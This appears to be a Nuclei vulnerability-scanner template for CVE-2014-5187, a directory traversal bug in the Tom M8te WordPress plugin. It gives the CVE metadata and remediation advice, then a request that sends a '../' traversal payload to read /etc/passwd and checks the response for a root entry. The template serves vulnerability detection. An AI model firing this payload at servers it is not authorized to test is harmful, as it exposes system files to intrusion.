id: CVE-2014-5187

info:
  name: Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to the latest version of the plugin or apply security patches to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3095c3f3-9cdc-49f8-8478-c2922f0a442a/
    - https://codevigilant.com/disclosure/wp-plugin-tom-m8te-local-file-inclusion/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5187
    cwe-id: CWE-22
    epss-score: 0.04718
    epss-percentile: 0.90929
    cpe: cpe:2.3:a:tom_m8te_plugin_project:tom-m8te_plugin:1.5.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tom_m8te_plugin_project
    product: tom-m8te_plugin
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tom-m8te/"
  tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/tom-m8te/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022065cf3200594a7a2b172248be1d051be815c2d21ccdf9d46fb6df6021b0d8a95f02204f76e3b564acee7ec2d4f7bc9389f36bcedc4eaaae32551a7a69e22fbcd8eb22:922c64590222798bb761d5b6d8e72950